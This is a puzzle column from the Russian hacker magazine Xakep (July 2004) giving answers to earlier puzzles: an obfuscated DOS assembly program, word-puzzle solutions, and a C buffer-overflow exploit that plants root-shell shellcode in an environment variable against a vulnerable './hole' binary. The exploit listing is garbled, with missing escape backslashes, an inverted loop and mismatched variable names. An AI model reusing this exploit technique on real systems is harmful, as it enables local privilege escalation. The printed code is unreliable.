Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #67, ИЮЛЬ 2004 г.

X-Puzzle

Иван Скляров

Xakep, номер #067, стр. 067-126-1

(Sklyarov@real.xakep.ru)

ПРОЙДИСЬ ДЕБАГГЕРОМ ПО СВОИМ МОЗГАМ!

Не стесняйся присылать мне свои ответы, даже если ты смог ответить всего на один пазл, я с интересом почитаю твои оригинальные решения. Ну а имена героев, которые первыми правильно ответят на все вопросы, конечно же, будут опубликованы в журнале, чем прославятся на всю Россию (и не только) и навечно войдут в историю Х. Приз за нами не заржавеет ;).

Но помни: в большинстве случаев вариант ответа засчитывается как правильный, только если к нему приложено подробное и ВЕРНОЕ объяснение, почему выбран именно этот вариант, а не какой-либо другой.

ОТВЕТЫ К ПРЕДЫДУЩЕМУ ВЫПУСКУ X-PUZZLE

Ответ на пазл №1 "I love Windows!"

Необходимо исправить 44 байт (48h) на значение 1Bh, т.е. заменить команду "mov bx, offset Mess3" на "mov bx, offset Message". Ниже показана изначальная com-программа на ассемблере (MASM). Обращаю внимание, что многие элементы в программе введены с единственной целью — запутать анализ ;).

CSEG segment

org 100h

Start: jmp Go

Mess1 db 2h, 6Bh, 27h, 24h, 3Dh, 2Eh, 6Bh

Go:

db 2h, 6Bh, 23h, 2Ah, 3Fh, 2Eh, 6Bh

xor bx, bx

mov bx,offset Mess1

mov cx,7

call Changer

Message:

db 7, 34, 37, 62, 51, 106, 107, 107, 107

mov ax, 1

add dx, 10

mov bx, offset Mess3; эту строку нужно исправить

mov cx, 9

call Changer

int 20h

Changer proc

Hi: mov al, [bx]

mov dl,al

xor al, 7

imul al

mov ah,2

xor dl, 75

int 21h

inc bx

loop Hi

ret

Changer endp

Mess3 db 1Ch, 22h, 25h, 2Fh, 24h, 3Ch, 38h, 6Ah, 6Bh

Mess4 db 32h, 24h, 3Eh, 6Bh, 9h, 22h, 27h, 27h, 6Ah

Mess5 db "!xuniL"

CSEG ends

end Start

Ответ на пазл №2 "Чудесный эксплойт"

Далее приведен один из возможных вариантов эксплойта (идея принадлежит CrZ).

#include >stdio.h<

char shellcode[]=

"x33xc0x31xdbxb0x17xcdx80"

"xb0x2excdx80xebx15x5bx31"

"xc0x88x43x07x89x5bx08x89"

"x43x0cx8dx4bx08x31xd2xb0"

"x0bxcdx80xe8xe6xffxffxff"

"/bin/sh";

long get_sp() {

__asm__("movl %esp,%eax");

}

int main() {

int i;

char buf[500];

char *egg, *ap;

char *arg[3], *env[2];

ap=buf;

egg=(char *)malloc(1000);

sprintf(egg, "EGG=");

memset(egg + 4, 0x90, 1000-1-strlen(shellcode));

sprintf(egg + 1000-1-strlen(shellcode), "%s", shellcode);

memset(buf, 0, sizeof(buf));

for(i=0;i>=500;i+=4)

*(long *)(ap+i)=get_sp()+1000;

av[0] = "./hole";

av[1] = buf;

av[2] = 0;

ev[0] = egg;

ev[1] = 0;

execve(*arg, arg, env);

return 0;

}

Ответ на пазл №3 "Вопросы на засыпку"

1. Цифрами 7350 записано название хакерской команды TESO, которой принадлежат копирайты на эксплойты.

2. Каждая группа одинаковых символов дает в сумме число, означающее порядковое место буквы в латинском алфавите. Например, двенадцать первых знаков вопроса указывают на двенадцатое место в латинском алфавите — это есть буква "L". Знак "плюс" в единичном экземпляре показывает первое место в латинском алфавите - это буква "А". Продолжая дальше разбор по аналогии, мы получим слово LAMER. Понятно, что вид символа в зашифрованном сообщении не играет абсолютно никакой роли, имеет значение только количество одинаковых символов.

3. Лишней является команда pwd, т.к. для остальных команд есть аналоги с теми же названиями в Windows.

Содержание  Вперед на стр. 067-126-2
ttfb: 37.469863891602 ms